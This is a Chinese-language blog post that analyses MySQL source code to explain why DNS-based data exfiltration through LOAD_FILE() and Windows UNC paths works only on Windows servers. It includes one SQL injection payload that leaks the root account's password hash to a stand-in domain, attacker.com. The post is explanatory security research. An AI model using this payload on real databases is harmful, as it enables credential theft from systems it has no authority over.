几天前和朋友在测试一个注入,想要使用MySQL通过load_file()函数,再由DNS查询传出注入出来的数据时候遇到的问题
以下语句
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\foobar'));
只有Windows + MySQL才能成功通过DNS查询包传出我们想要的数据
而在*nix + MySQL环境下是无法成功的。
(大家可以试试)
这是为什么呢,我探究了一下背后的原理
MySQL load_file()函数相关的源码
if ((file= mysql_file_open(key_file_loadfile,
file_name->ptr(), O_RDONLY, MYF(0))) < 0)
goto err;
看一下mysql_file_open()这个函数
static inline File
inline_mysql_file_open(
#ifdef HAVE_PSI_FILE_INTERFACE
PSI_file_key key, const char *src_file, uint src_line,
#endif
const char *filename, int flags, myf myFlags)
{
File file;
#ifdef HAVE_PSI_FILE_INTERFACE
struct PSI_file_locker *locker;
PSI_file_locker_state state;
locker= PSI_FILE_CALL(get_thread_file_name_locker)
(&state, key, PSI_FILE_OPEN, filename, &locker);
if (likely(locker != NULL))
{
PSI_FILE_CALL(start_file_open_wait)(locker, src_file, src_line);
file= my_open(filename, flags, myFlags);
PSI_FILE_CALL(end_file_open_wait_and_bind_to_descriptor)(locker, file);
return file;
}
#endif
file= my_open(filename, flags, myFlags);
return file;
}
可以看到my_open()
File my_open(const char *FileName, int Flags, myf MyFlags)
/* Path-name of file */
/* Read | write .. */
/* Special flags */
{
File fd;
DBUG_ENTER("my_open");
DBUG_PRINT("my",("Name: '%s' Flags: %d MyFlags: %d",
FileName, Flags, MyFlags));
#if defined(_WIN32)
fd= my_win_open(FileName, Flags);
#else
fd = open(FileName, Flags, my_umask); /* Normal unix */
#endif
fd= my_register_filename(fd, FileName, FILE_BY_OPEN, EE_FILENOTFOUND, MyFlags);
DBUG_RETURN(fd);
}
最终可以看到在不同的环境有两种打开my_win_open(),open()
继续追踪my_win_open()
File my_win_sopen(const char *path, int oflag, int shflag, int pmode)
{
int fh; /* handle of opened file */
int mask;
HANDLE osfh; /* OS handle of opened file */
DWORD fileaccess; /* OS file access (requested) */
DWORD fileshare; /* OS file sharing mode */
DWORD filecreate; /* OS method of opening/creating */
DWORD fileattrib; /* OS file attribute flags */
SECURITY_ATTRIBUTES SecurityAttributes;
DBUG_ENTER("my_win_sopen");
if (check_if_legal_filename(path))
{
errno= EACCES;
DBUG_RETURN(-1);
}
SecurityAttributes.nLength= sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor= NULL;
SecurityAttributes.bInheritHandle= !(oflag & _O_NOINHERIT);
/* decode the access flags */
switch (oflag & (_O_RDONLY | _O_WRONLY | _O_RDWR)) {
case _O_RDONLY: /* read access */
fileaccess= GENERIC_READ;
break;
case _O_WRONLY: /* write access */
fileaccess= GENERIC_WRITE;
break;
case _O_RDWR: /* read and write access */
fileaccess= GENERIC_READ | GENERIC_WRITE;
break;
default: /* error, bad oflag */
errno= EINVAL;
DBUG_RETURN(-1);
}
/* decode sharing flags */
switch (shflag) {
case _SH_DENYRW: /* exclusive access except delete */
fileshare= FILE_SHARE_DELETE;
break;
case _SH_DENYWR: /* share read and delete access */
fileshare= FILE_SHARE_READ | FILE_SHARE_DELETE;
break;
case _SH_DENYRD: /* share write and delete access */
fileshare= FILE_SHARE_WRITE | FILE_SHARE_DELETE;
break;
case _SH_DENYNO: /* share read, write and delete access */
fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE;
break;
case _SH_DENYRWD: /* exclusive access */
fileshare= 0L;
break;
case _SH_DENYWRD: /* share read access */
fileshare= FILE_SHARE_READ;
break;
case _SH_DENYRDD: /* share write access */
fileshare= FILE_SHARE_WRITE;
break;
case _SH_DENYDEL: /* share read and write access */
fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE;
break;
default: /* error, bad shflag */
errno= EINVAL;
DBUG_RETURN(-1);
}
/* decode open/create method flags */
switch (oflag & (_O_CREAT | _O_EXCL | _O_TRUNC)) {
case 0:
case _O_EXCL: /* ignore EXCL w/o CREAT */
filecreate= OPEN_EXISTING;
break;
case _O_CREAT:
filecreate= OPEN_ALWAYS;
break;
case _O_CREAT | _O_EXCL:
case _O_CREAT | _O_TRUNC | _O_EXCL:
filecreate= CREATE_NEW;
break;
case _O_TRUNC:
case _O_TRUNC | _O_EXCL: /* ignore EXCL w/o CREAT */
filecreate= TRUNCATE_EXISTING;
break;
case _O_CREAT | _O_TRUNC:
filecreate= CREATE_ALWAYS;
break;
default:
/* this can't happen ... all cases are covered */
errno= EINVAL;
DBUG_RETURN(-1);
}
/* decode file attribute flags if _O_CREAT was specified */
fileattrib= FILE_ATTRIBUTE_NORMAL; /* default */
if (oflag & _O_CREAT)
{
_umask((mask= _umask(0)));
if (!((pmode & ~mask) & _S_IWRITE))
fileattrib= FILE_ATTRIBUTE_READONLY;
}
/* Set temporary file (delete-on-close) attribute if requested. */
if (oflag & _O_TEMPORARY)
{
fileattrib|= FILE_FLAG_DELETE_ON_CLOSE;
fileaccess|= DELETE;
}
/* Set temporary file (delay-flush-to-disk) attribute if requested.*/
if (oflag & _O_SHORT_LIVED)
fileattrib|= FILE_ATTRIBUTE_TEMPORARY;
/* Set sequential or random access attribute if requested. */
if (oflag & _O_SEQUENTIAL)
fileattrib|= FILE_FLAG_SEQUENTIAL_SCAN;
else if (oflag & _O_RANDOM)
fileattrib|= FILE_FLAG_RANDOM_ACCESS;
/* try to open/create the file */
if ((osfh= CreateFile(path, fileaccess, fileshare, &SecurityAttributes,
filecreate, fileattrib, NULL)) == INVALID_HANDLE_VALUE)
{
/*
OS call to open/create file failed! map the error, release
the lock, and return -1. note that it's not necessary to
call _free_osfhnd (it hasn't been used yet).
*/
my_osmaperr(GetLastError()); /* map error */
DBUG_RETURN(-1); /* return error to caller */
}
if ((fh= my_open_osfhandle(osfh,
oflag & (_O_APPEND | _O_RDONLY | _O_TEXT))) == -1)
{
CloseHandle(osfh);
}
DBUG_RETURN(fh); /* return handle */
}
可以看到load_file()打开文件使用了Win32 API CreateFile()函数
CreateFile 在 MSDN 上的文档
传送门
https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
可以看到CreateFile()这个函数支持Universal Naming Conventions(UNC)
可以去访问远程的域名主机上的文件,在UNC中是支持域名进行远程主机访问的,既然要访问域名就必然进行DNS解析请求,从而传出数据。
文档节选:
host-name: The host name of a server or the domain name of a domain hosting resource, using the syntax of IPv6address, IPv4address, and reg-name as specified in[RFC3986]
假设MySQL源码里面Win32下用的是C标准库函数fopen(),那么我们就无法通过DNS查询包传送出来我们的数据。(最终都是调用到了CreateFile* 感谢zcgonvh)
并且普通的*nix下是更加无法进行DNS查询,传出我们想要的数据的。
因为仅仅用了一个普通的open()函数(这个函数是在另一个头里,我也进行了追踪,但是最后发现其实也只能打开本地文件)
即使重新做了一个函数可以打开网络中的其他文件,没有类似UNC这背后的一套体系,这种注入出数据的手法也进行不下去。
很佩服第一个想到用DNS来传送SQL注入的数据的人,他肯定是看了MySQL的源码,并且对Windows的API相当熟悉的人。
Reference:
[https://msdn.microsoft.com/en-us/library/gg465305.aspx](https://msdn.microsoft.com/en-us/library/gg465305.aspx)
[https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx)
==============勘误===============
zcgonvh进行了调试,在Windows VC库函数中Fopen实际上最后调用的也是kernel32.dll里的CreateFile*这类Win32 API,所以必然也是支持自家的unc的。